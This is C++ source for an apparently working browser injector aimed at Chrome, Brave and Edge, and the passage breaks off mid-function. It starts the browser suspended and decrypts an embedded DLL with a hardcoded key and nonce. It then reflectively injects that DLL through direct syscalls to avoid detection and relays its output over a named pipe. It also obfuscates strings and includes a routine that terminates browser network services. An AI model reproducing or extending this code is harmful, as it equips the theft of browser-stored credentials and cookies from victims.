981 lines
35 KiB
C++
981 lines
35 KiB
C++
#include "Fokos.h"
|
|||
|
|
|
||
|
|
#include <Windows.h>
|
||
|
|
#include <Rpc.h>
|
||
|
|
#include <iostream>
|
||
|
|
#include <string>
|
||
|
|
#include <vector>
|
||
|
|
#include "Encrypt.h"
|
||
|
|
#include <sstream>
|
||
|
|
#include <iomanip>
|
||
|
|
#include <filesystem>
|
||
|
|
#include <optional>
|
||
|
|
#include <map>
|
||
|
|
#include <memory>
|
||
|
|
#include <stdexcept>
|
||
|
|
#include "nlohmann/json.hpp"
|
||
|
|
#include <fstream> // for std::ifstream
|
||
|
|
#include <vector> // for std::vector
|
||
|
|
#include <cstdint>
|
||
|
|
#include <algorithm>
|
||
|
|
#include "BRSHt/syscalls.h"
|
||
|
|
|
||
|
|
|
||
|
|
#pragma comment(lib, "Rpcrt4.lib")
|
||
|
|
#pragma comment(lib, "shell32.lib")
|
||
|
|
#pragma comment(lib, "version.lib")
|
||
|
|
#pragma comment(lib, "user32.lib")
|
||
|
|
|
||
|
|
using json = nlohmann::json;
|
||
|
|
|
||
|
|
|
||
|
|
#ifndef IMAGE_FILE_MACHINE_AMD64
|
||
|
|
#define IMAGE_FILE_MACHINE_AMD64 0x8664
|
||
|
|
#endif
|
||
|
|
#ifndef IMAGE_FILE_MACHINE_ARM64
|
||
|
|
#define IMAGE_FILE_MACHINE_ARM64 0xAA64
|
||
|
|
#endif
|
||
|
|
|
||
|
|
#ifndef NT_SUCCESS
|
||
|
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||
|
|
#endif
|
||
|
|
|
||
|
|
namespace
|
||
|
|
{
|
||
|
|
constexpr DWORD DLL_COMPLETION_TIMEOUT_MS = 60000;
|
||
|
|
|
||
|
|
const uint8_t g_decryptionKey[32] = {
|
||
|
|
0x1B, 0x27, 0x55, 0x64, 0x73, 0x8B, 0x9F, 0x4D,
|
||
|
|
0x58, 0x4A, 0x7D, 0x67, 0x8C, 0x79, 0x77, 0x46,
|
||
|
|
0xBE, 0x6B, 0x4E, 0x0C, 0x54, 0x57, 0xCD, 0x95,
|
||
|
|
0x18, 0xDE, 0x7E, 0x21, 0x47, 0x66, 0x7C, 0x94 };
|
||
|
|
|
||
|
|
const uint8_t g_decryptionNonce[12] = {
|
||
|
|
0x4A, 0x51, 0x78, 0x62, 0x8D, 0x2D, 0x4A, 0x54,
|
||
|
|
0x88, 0xE5, 0x3C, 0x50 };
|
||
|
|
|
||
|
|
namespace fs = std::filesystem;
|
||
|
|
|
||
|
|
struct HandleDeleter
|
||
|
|
{
|
||
|
|
void operator()(HANDLE h) const
|
||
|
|
{
|
||
|
|
if (h && h != INVALID_HANDLE_VALUE)
|
||
|
|
CloseHandle(h);
|
||
|
|
}
|
||
|
|
};
|
||
|
|
using UniqueHandle = std::unique_ptr<void, HandleDeleter>;
|
||
|
|
|
||
|
|
namespace Utils
|
||
|
|
{
|
||
|
|
std::string WStringToUtf8(std::wstring_view w_sv)
|
||
|
|
{
|
||
|
|
if (w_sv.empty())
|
||
|
|
return {};
|
||
|
|
int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()), nullptr, 0, nullptr, nullptr);
|
||
|
|
std::string utf8_str(size_needed, '\0');
|
||
|
|
WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()), &utf8_str[0], size_needed, nullptr, nullptr);
|
||
|
|
return utf8_str;
|
||
|
|
}
|
||
|
|
|
||
|
|
std::string PtrToHexStr(const void* ptr)
|
||
|
|
{
|
||
|
|
std::ostringstream oss;
|
||
|
|
oss << EC("0x") << std::hex << reinterpret_cast<uintptr_t>(ptr);
|
||
|
|
return oss.str();
|
||
|
|
}
|
||
|
|
|
||
|
|
std::string NtStatusToString(NTSTATUS status)
|
||
|
|
{
|
||
|
|
std::ostringstream oss;
|
||
|
|
oss << EC("0x") << std::hex << status;
|
||
|
|
return oss.str();
|
||
|
|
}
|
||
|
|
|
||
|
|
std::wstring GenerateUniquePipeName()
|
||
|
|
{
|
||
|
|
UUID uuid;
|
||
|
|
UuidCreate(&uuid);
|
||
|
|
wchar_t* uuidStrRaw = nullptr;
|
||
|
|
UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw);
|
||
|
|
std::wstring pipeName = EC(L"\\\\.\\pipe\\") + std::wstring(uuidStrRaw);
|
||
|
|
RpcStringFreeW((RPC_WSTR*)&uuidStrRaw);
|
||
|
|
return pipeName;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
std::string Nemmmmy;
|
||
|
|
|
||
|
|
void DecryptString(std::string& data, BYTE key)
|
||
|
|
{
|
||
|
|
for (size_t i = 0; i < data.size(); i++)
|
||
|
|
data[i] ^= key;
|
||
|
|
}
|
||
|
|
// Load and decrypt data from file
|
||
|
|
bool LoadDecryptedFromFile(std::string& outData, const std::string& filePath, BYTE key)
|
||
|
|
{
|
||
|
|
std::ifstream in(filePath, std::ios::binary);
|
||
|
|
if (!in)
|
||
|
|
return false;
|
||
|
|
|
||
|
|
std::string encrypted((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>());
|
||
|
|
DecryptString(encrypted, key);
|
||
|
|
outData = std::move(encrypted);
|
||
|
|
return true;
|
||
|
|
}
|
||
|
|
|
||
|
|
class Console
|
||
|
|
{
|
||
|
|
public:
|
||
|
|
explicit Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE))
|
||
|
|
{
|
||
|
|
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
|
||
|
|
GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo);
|
||
|
|
m_originalAttributes = consoleInfo.wAttributes;
|
||
|
|
}
|
||
|
|
|
||
|
|
void displayBanner() const
|
||
|
|
{
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
void printUsage() const
|
||
|
|
{
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
void Info(const std::string& msg) const { print(EC("[*]"), msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||
|
|
void Success(const std::string& msg) const { print(EC("[+]"), msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||
|
|
void Error(const std::string& msg) const { print(EC("[-]"), msg, FOREGROUND_RED | FOREGROUND_INTENSITY); }
|
||
|
|
void Warn(const std::string& msg) const { print(EC("[!]"), msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||
|
|
void Debug(const std::string& msg) const
|
||
|
|
{
|
||
|
|
print(EC("[#]"), msg, FOREGROUND_RED | FOREGROUND_GREEN);
|
||
|
|
}
|
||
|
|
|
||
|
|
void Relay(const std::string& message) const
|
||
|
|
{
|
||
|
|
size_t tagStart = message.find('[');
|
||
|
|
size_t tagEnd = message.find(']', tagStart);
|
||
|
|
if (tagStart != std::string::npos && tagEnd != std::string::npos)
|
||
|
|
{
|
||
|
|
std::cout << message.substr(0, tagStart);
|
||
|
|
std::string tag = message.substr(tagStart, tagEnd - tagStart + 1);
|
||
|
|
WORD color = m_originalAttributes;
|
||
|
|
if (tag == EC("[+]"))
|
||
|
|
color = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||
|
|
else if (tag == EC("[-]"))
|
||
|
|
color = FOREGROUND_RED | FOREGROUND_INTENSITY;
|
||
|
|
else if (tag == EC("[*]"))
|
||
|
|
color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||
|
|
else if (tag == EC("[!]"))
|
||
|
|
color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||
|
|
SetColor(color);
|
||
|
|
std::cout << tag;
|
||
|
|
ResetColor();
|
||
|
|
std::cout << message.substr(tagEnd + 1) << std::endl;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
std::cout << message << std::endl;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private:
|
||
|
|
void print(const std::string& tag, const std::string& msg, WORD color) const
|
||
|
|
{
|
||
|
|
SetColor(color);
|
||
|
|
std::cout << tag;
|
||
|
|
ResetColor();
|
||
|
|
std::cout << " " << msg << std::endl;
|
||
|
|
}
|
||
|
|
void SetColor(WORD attributes) const { SetConsoleTextAttribute(m_hConsole, attributes); }
|
||
|
|
void ResetColor() const { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); }
|
||
|
|
|
||
|
|
bool m_verbose;
|
||
|
|
HANDLE m_hConsole;
|
||
|
|
WORD m_originalAttributes;
|
||
|
|
};
|
||
|
|
|
||
|
|
struct Configuration
|
||
|
|
{
|
||
|
|
bool verbose = false;
|
||
|
|
fs::path outputPath;
|
||
|
|
std::wstring browserType;
|
||
|
|
std::wstring browserProcessName;
|
||
|
|
std::wstring browserDefaultExePath;
|
||
|
|
std::string browserDisplayName;
|
||
|
|
|
||
|
|
// Original function
|
||
|
|
[[nodiscard]] static std::optional<Configuration> CreateFromArgs(int argc, wchar_t* argv[], const Console& console)
|
||
|
|
{
|
||
|
|
Configuration config;
|
||
|
|
fs::path customOutputPath;
|
||
|
|
|
||
|
|
for (int i = 1; i < argc; ++i)
|
||
|
|
{
|
||
|
|
std::wstring_view arg = argv[i];
|
||
|
|
if (arg == EC(L"--verbose") || arg == EC(L"-v"))
|
||
|
|
config.verbose = true;
|
||
|
|
else if ((arg == EC(L"--output-path") || arg == EC(L"-o")) && i + 1 < argc)
|
||
|
|
customOutputPath = argv[++i];
|
||
|
|
else if (arg == EC(L"--help") || arg == EC(L"-h"))
|
||
|
|
{
|
||
|
|
console.printUsage();
|
||
|
|
return std::nullopt;
|
||
|
|
}
|
||
|
|
else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-')
|
||
|
|
config.browserType = arg;
|
||
|
|
else
|
||
|
|
{
|
||
|
|
console.Warn(EC("Unknown or misplaced argument: ") + Utils::WStringToUtf8(arg));
|
||
|
|
return std::nullopt;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
if (config.browserType.empty())
|
||
|
|
{
|
||
|
|
console.printUsage();
|
||
|
|
return std::nullopt;
|
||
|
|
}
|
||
|
|
std::transform(config.browserType.begin(), config.browserType.end(), config.browserType.begin(), ::towlower);
|
||
|
|
|
||
|
|
static const std::map<std::wstring, std::pair<std::wstring, std::wstring>> browserMap = {
|
||
|
|
{EC(L"chrome"), {EC(L"chrome.exe"), EC(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")}},
|
||
|
|
{EC(L"brave"), {EC(L"brave.exe"), EC(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe")}},
|
||
|
|
{EC(L"edge"), {EC(L"msedge.exe"), EC(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")}} };
|
||
|
|
|
||
|
|
auto it = browserMap.find(config.browserType);
|
||
|
|
if (it == browserMap.end())
|
||
|
|
{
|
||
|
|
console.Error(EC("Unsupported browser type: ") + Utils::WStringToUtf8(config.browserType));
|
||
|
|
return std::nullopt;
|
||
|
|
}
|
||
|
|
|
||
|
|
config.browserProcessName = it->second.first;
|
||
|
|
config.browserDefaultExePath = it->second.second;
|
||
|
|
|
||
|
|
std::string displayName = Utils::WStringToUtf8(config.browserType);
|
||
|
|
if (!displayName.empty())
|
||
|
|
displayName[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(displayName[0])));
|
||
|
|
config.browserDisplayName = displayName;
|
||
|
|
|
||
|
|
config.outputPath = customOutputPath.empty() ? fs::current_path() / EC("output") : fs::absolute(customOutputPath);
|
||
|
|
|
||
|
|
return config;
|
||
|
|
}
|
||
|
|
|
||
|
|
// New overload for simple browser string
|
||
|
|
[[nodiscard]] static std::optional<Configuration> CreateFromArgs(const std::wstring& browser)
|
||
|
|
{
|
||
|
|
Configuration config;
|
||
|
|
std::wstring browserType = browser;
|
||
|
|
std::transform(browserType.begin(), browserType.end(), browserType.begin(), ::towlower);
|
||
|
|
|
||
|
|
static const std::map<std::wstring, std::pair<std::wstring, std::wstring>> browserMap = {
|
||
|
|
{EC(L"chrome"), {EC(L"chrome.exe"), EC(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")}},
|
||
|
|
{EC(L"brave"), {EC(L"brave.exe"), EC(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe")}},
|
||
|
|
{EC(L"edge"), {EC(L"msedge.exe"), EC(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")}} };
|
||
|
|
|
||
|
|
auto it = browserMap.find(browserType);
|
||
|
|
if (it == browserMap.end())
|
||
|
|
{
|
||
|
|
return std::nullopt;
|
||
|
|
}
|
||
|
|
|
||
|
|
config.browserType = browserType;
|
||
|
|
config.browserProcessName = it->second.first;
|
||
|
|
config.browserDefaultExePath = it->second.second;
|
||
|
|
|
||
|
|
std::string displayName = Utils::WStringToUtf8(config.browserType);
|
||
|
|
if (!displayName.empty())
|
||
|
|
displayName[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(displayName[0])));
|
||
|
|
config.browserDisplayName = displayName;
|
||
|
|
|
||
|
|
config.outputPath = fs::current_path() / EC("output"); // default output path
|
||
|
|
return config;
|
||
|
|
}
|
||
|
|
};
|
||
|
|
|
||
|
|
class TargetProcess
|
||
|
|
{
|
||
|
|
public:
|
||
|
|
TargetProcess(const Configuration& config, const Console& console) : m_config(config), m_console(console) {}
|
||
|
|
|
||
|
|
void createSuspended()
|
||
|
|
{
|
||
|
|
m_console.Info(EC("Creating suspended ") + m_config.browserDisplayName + EC(" process."));
|
||
|
|
m_console.Debug(EC("Target executable path: ") + Utils::WStringToUtf8(m_config.browserDefaultExePath));
|
||
|
|
|
||
|
|
STARTUPINFOW si{};
|
||
|
|
PROCESS_INFORMATION pi{};
|
||
|
|
si.cb = sizeof(si);
|
||
|
|
|
||
|
|
if (!CreateProcessW(
|
||
|
|
m_config.browserDefaultExePath.c_str(), nullptr,
|
||
|
|
nullptr, nullptr, FALSE, CREATE_SUSPENDED,
|
||
|
|
nullptr, nullptr, &si, &pi))
|
||
|
|
{
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
m_hProcess.reset(pi.hProcess);
|
||
|
|
m_hThread.reset(pi.hThread);
|
||
|
|
m_pid = pi.dwProcessId;
|
||
|
|
|
||
|
|
m_console.Success(EC("Created suspended process PID: ") + std::to_string(m_pid));
|
||
|
|
checkArchitecture();
|
||
|
|
}
|
||
|
|
|
||
|
|
void terminate()
|
||
|
|
{
|
||
|
|
if (m_hProcess)
|
||
|
|
{
|
||
|
|
m_console.Debug(EC("Terminating browser PID=") + std::to_string(m_pid) + EC(" via direct syscall."));
|
||
|
|
NtTerminateProcess_syscall(m_hProcess.get(), 0);
|
||
|
|
m_console.Info(m_config.browserDisplayName + EC(" terminated by injector."));
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
HANDLE getProcessHandle() const { return m_hProcess.get(); }
|
||
|
|
USHORT getArch() const { return m_arch; }
|
||
|
|
|
||
|
|
private:
|
||
|
|
void checkArchitecture()
|
||
|
|
{
|
||
|
|
m_arch = IMAGE_FILE_MACHINE_AMD64;
|
||
|
|
|
||
|
|
m_console.Debug(EC("Architecture match: Injector=, Target=") + std::string(getArchName(m_arch)));
|
||
|
|
}
|
||
|
|
|
||
|
|
const char* getArchName(USHORT arch) const
|
||
|
|
{
|
||
|
|
switch (arch)
|
||
|
|
{
|
||
|
|
case IMAGE_FILE_MACHINE_AMD64:
|
||
|
|
return EC("x64");
|
||
|
|
case IMAGE_FILE_MACHINE_ARM64:
|
||
|
|
return EC("ARM64");
|
||
|
|
case IMAGE_FILE_MACHINE_I386:
|
||
|
|
return EC("x86");
|
||
|
|
default:
|
||
|
|
return EC("Unknown");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
const Configuration& m_config;
|
||
|
|
const Console& m_console;
|
||
|
|
DWORD m_pid = 0;
|
||
|
|
UniqueHandle m_hProcess;
|
||
|
|
UniqueHandle m_hThread;
|
||
|
|
USHORT m_arch = 0;
|
||
|
|
};
|
||
|
|
|
||
|
|
std::string GetTempPathStr()
|
||
|
|
{
|
||
|
|
char buf[MAX_PATH];
|
||
|
|
DWORD len = GetTempPathA(MAX_PATH, buf);
|
||
|
|
return std::string(buf, len);
|
||
|
|
}
|
||
|
|
|
||
|
|
class PipeCommunicator
|
||
|
|
{
|
||
|
|
public:
|
||
|
|
PipeCommunicator(const std::wstring& pipeName, const Console& console) : m_pipeName(pipeName), m_console(console) {}
|
||
|
|
|
||
|
|
void create()
|
||
|
|
{
|
||
|
|
m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX,
|
||
|
|
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||
|
|
1, 4096, 4096, 0, nullptr));
|
||
|
|
if (!m_pipeHandle)
|
||
|
|
{
|
||
|
|
|
||
|
|
}
|
||
|
|
m_console.Debug(EC("Named pipe server created: ") + Utils::WStringToUtf8(m_pipeName));
|
||
|
|
}
|
||
|
|
|
||
|
|
void waitForClient()
|
||
|
|
{
|
||
|
|
m_console.Debug(EC("Waiting for payload to connect to named pipe."));
|
||
|
|
|
||
|
|
BOOL connected = ConnectNamedPipe(m_pipeHandle.get(), nullptr);
|
||
|
|
if (!connected)
|
||
|
|
{
|
||
|
|
DWORD err = GetLastError();
|
||
|
|
if (err == ERROR_PIPE_CONNECTED)
|
||
|
|
{
|
||
|
|
// The client connected before ConnectNamedPipe was called
|
||
|
|
m_console.Debug(EC("Payload already connected to named pipe (ERROR_PIPE_CONNECTED)."));
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
// Something went wrong
|
||
|
|
std::ostringstream oss;
|
||
|
|
oss << "Failed to connect to named pipe. Error code: " << err;
|
||
|
|
m_console.Debug(oss.str().c_str());
|
||
|
|
return; // optionally bail out
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
m_console.Debug(EC("Payload connected to named pipe."));
|
||
|
|
}
|
||
|
|
|
||
|
|
void sendInitialData(bool isVerbose, const fs::path& outputPath)
|
||
|
|
{
|
||
|
|
writeMessage(isVerbose ? EC("VERBOSE_TRUE") : EC("VERBOSE_FALSE"));
|
||
|
|
writeMessage(outputPath.string());
|
||
|
|
}
|
||
|
|
|
||
|
|
void relayMessages()
|
||
|
|
{
|
||
|
|
m_console.Info(EC("Waiting for payload execution. (Pipe: ") + Utils::WStringToUtf8(m_pipeName) + EC(")"));
|
||
|
|
std::cout << std::endl;
|
||
|
|
|
||
|
|
const std::string dllCompletionSignal = EC("__DLL_PIPE_COMPLETION_SIGNAL__");
|
||
|
|
DWORD startTime = GetTickCount();
|
||
|
|
std::string accumulatedData;
|
||
|
|
char buffer[4096];
|
||
|
|
bool completed = false;
|
||
|
|
|
||
|
|
while (!completed && (GetTickCount() - startTime < DLL_COMPLETION_TIMEOUT_MS))
|
||
|
|
{
|
||
|
|
DWORD bytesAvailable = 0;
|
||
|
|
if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr))
|
||
|
|
{
|
||
|
|
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||
|
|
break;
|
||
|
|
m_console.Error(EC("PeekNamedPipe failed. Error: ") + std::to_string(GetLastError()));
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
if (bytesAvailable == 0)
|
||
|
|
{
|
||
|
|
Sleep(100);
|
||
|
|
continue;
|
||
|
|
}
|
||
|
|
|
||
|
|
DWORD bytesRead = 0;
|
||
|
|
if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||
|
|
{
|
||
|
|
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||
|
|
break;
|
||
|
|
continue;
|
||
|
|
}
|
||
|
|
|
||
|
|
accumulatedData.append(buffer, bytesRead);
|
||
|
|
|
||
|
|
size_t messageStart = 0;
|
||
|
|
size_t nullPos;
|
||
|
|
while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos)
|
||
|
|
{
|
||
|
|
std::string message = accumulatedData.substr(messageStart, nullPos - messageStart);
|
||
|
|
messageStart = nullPos + 1;
|
||
|
|
|
||
|
|
if (message == dllCompletionSignal)
|
||
|
|
{
|
||
|
|
m_console.Debug(EC("Payload completion signal received."));
|
||
|
|
completed = true;
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
if (!message.empty())
|
||
|
|
{
|
||
|
|
if (Nemmmmy.empty())
|
||
|
|
{
|
||
|
|
if (message.find(EC("NUMMORO")) != std::string::npos)
|
||
|
|
{
|
||
|
|
Nemmmmy = message.substr(message.size() - 4);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
m_console.Relay(message);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
m_console.Relay(message);
|
||
|
|
}
|
||
|
|
|
||
|
|
}
|
||
|
|
}
|
||
|
|
if (completed)
|
||
|
|
break;
|
||
|
|
accumulatedData.erase(0, messageStart);
|
||
|
|
}
|
||
|
|
std::cout << std::endl;
|
||
|
|
m_console.Success(EC("Payload signaled completion or pipe interaction ended."));
|
||
|
|
}
|
||
|
|
|
||
|
|
const std::wstring& getName() const { return m_pipeName; }
|
||
|
|
|
||
|
|
private:
|
||
|
|
void writeMessage(const std::string& msg)
|
||
|
|
{
|
||
|
|
DWORD bytesWritten = 0;
|
||
|
|
if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast<DWORD>(msg.length() + 1), &bytesWritten, nullptr) ||
|
||
|
|
bytesWritten != (msg.length() + 1))
|
||
|
|
{
|
||
|
|
}
|
||
|
|
m_console.Debug(EC("Sent message to pipe: ") + msg);
|
||
|
|
}
|
||
|
|
|
||
|
|
std::wstring m_pipeName;
|
||
|
|
const Console& m_console;
|
||
|
|
UniqueHandle m_pipeHandle;
|
||
|
|
};
|
||
|
|
|
||
|
|
class InjectionManager
|
||
|
|
{
|
||
|
|
public:
|
||
|
|
InjectionManager(TargetProcess& target, const Console& console)
|
||
|
|
: m_target(target), m_console(console) {
|
||
|
|
}
|
||
|
|
|
||
|
|
void execute(const std::wstring& pipeName, std::vector<BYTE> exxx)
|
||
|
|
{
|
||
|
|
m_decryptedDllPayload = std::move(exxx);
|
||
|
|
|
||
|
|
|
||
|
|
m_console.Debug(EC("Parsing payload PE headers for ReflectiveLoader."));
|
||
|
|
DWORD rdiOffset = getReflectiveLoaderOffset();
|
||
|
|
|
||
|
|
m_console.Debug(EC("ReflectiveLoader found at file offset: ") + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset));
|
||
|
|
|
||
|
|
m_console.Debug(EC("Allocating memory for payload in target process."));
|
||
|
|
PVOID remoteDllBase = nullptr;
|
||
|
|
SIZE_T payloadDllSize = m_decryptedDllPayload.size();
|
||
|
|
SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t);
|
||
|
|
SIZE_T totalAllocationSize = payloadDllSize + pipeNameByteSize;
|
||
|
|
|
||
|
|
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, 0, &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||
|
|
|
||
|
|
m_console.Debug(EC("Combined memory for payload and parameters allocated at: ") + Utils::PtrToHexStr(remoteDllBase));
|
||
|
|
|
||
|
|
m_console.Debug(EC("Writing payload DLL to target process."));
|
||
|
|
SIZE_T bytesWritten = 0;
|
||
|
|
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteDllBase, m_decryptedDllPayload.data(), payloadDllSize, &bytesWritten);
|
||
|
|
|
||
|
|
m_console.Debug(EC("Writing pipe name parameter into the same allocation."));
|
||
|
|
LPVOID remotePipeNameAddr = reinterpret_cast<PBYTE>(remoteDllBase) + payloadDllSize;
|
||
|
|
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten);
|
||
|
|
|
||
|
|
m_console.Debug(EC("Changing payload memory protection to executable."));
|
||
|
|
ULONG oldProtect = 0;
|
||
|
|
status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect);
|
||
|
|
|
||
|
|
|
||
|
|
startHijackedThreadInTarget(remoteDllBase, rdiOffset, remotePipeNameAddr);
|
||
|
|
|
||
|
|
m_console.Success(EC("New thread created for payload. Main thread remains suspended."));
|
||
|
|
}
|
||
|
|
|
||
|
|
private:
|
||
|
|
|
||
|
|
DWORD getReflectiveLoaderOffset()
|
||
|
|
{
|
||
|
|
auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_decryptedDllPayload.data());
|
||
|
|
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||
|
|
return 0;
|
||
|
|
|
||
|
|
auto ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>((uintptr_t)m_decryptedDllPayload.data() + dosHeader->e_lfanew);
|
||
|
|
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
|
||
|
|
return 0;
|
||
|
|
|
||
|
|
auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||
|
|
if (exportDirRva == 0)
|
||
|
|
return 0;
|
||
|
|
|
||
|
|
auto RvaToOffset = [&](DWORD rva) -> PVOID
|
||
|
|
{
|
||
|
|
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||
|
|
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section)
|
||
|
|
{
|
||
|
|
if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize)
|
||
|
|
{
|
||
|
|
return (PVOID)((uintptr_t)m_decryptedDllPayload.data() + section->PointerToRawData + (rva - section->VirtualAddress));
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return nullptr;
|
||
|
|
};
|
||
|
|
|
||
|
|
auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva);
|
||
|
|
if (!exportDir)
|
||
|
|
return 0;
|
||
|
|
|
||
|
|
auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames);
|
||
|
|
auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals);
|
||
|
|
auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions);
|
||
|
|
if (!names || !ordinals || !funcs)
|
||
|
|
return 0;
|
||
|
|
|
||
|
|
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
|
||
|
|
{
|
||
|
|
char* funcName = (char*)RvaToOffset(names[i]);
|
||
|
|
if (funcName && strcmp(funcName, EC("ReflectiveLoader")) == 0)
|
||
|
|
{
|
||
|
|
PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]);
|
||
|
|
if (!funcOffsetPtr)
|
||
|
|
return 0;
|
||
|
|
return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_decryptedDllPayload.data());
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return 0;
|
||
|
|
}
|
||
|
|
|
||
|
|
void startHijackedThreadInTarget(PVOID remoteDllBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
|
||
|
|
{
|
||
|
|
m_console.Debug(EC("Creating new thread in target to execute ReflectiveLoader."));
|
||
|
|
|
||
|
|
uintptr_t entryPoint = reinterpret_cast<uintptr_t>(remoteDllBase) + rdiOffset;
|
||
|
|
HANDLE hRemoteThread = nullptr;
|
||
|
|
|
||
|
|
NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(),
|
||
|
|
(LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr);
|
||
|
|
|
||
|
|
UniqueHandle remoteThreadGuard(hRemoteThread);
|
||
|
|
|
||
|
|
if (!NT_SUCCESS(status))
|
||
|
|
{
|
||
|
|
}
|
||
|
|
|
||
|
|
m_console.Debug(EC("Successfully created new thread for payload."));
|
||
|
|
}
|
||
|
|
|
||
|
|
TargetProcess& m_target;
|
||
|
|
const Console& m_console;
|
||
|
|
|
||
|
|
std::vector<BYTE> m_decryptedDllPayload;
|
||
|
|
|
||
|
|
|
||
|
|
};
|
||
|
|
|
||
|
|
void KillBrowserNetworkService(const Configuration& config, const Console& console)
|
||
|
|
{
|
||
|
|
console.Info(EC("Scanning for and terminating browser network services..."));
|
||
|
|
|
||
|
|
UniqueHandle hCurrentProc;
|
||
|
|
HANDLE nextProcHandle = nullptr;
|
||
|
|
int processes_terminated = 0;
|
||
|
|
|
||
|
|
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &nextProcHandle)))
|
||
|
|
{
|
||
|
|
UniqueHandle hNextProc(nextProcHandle);
|
||
|
|
hCurrentProc = std::move(hNextProc);
|
||
|
|
|
||
|
|
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
|
||
|
|
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
|
||
|
|
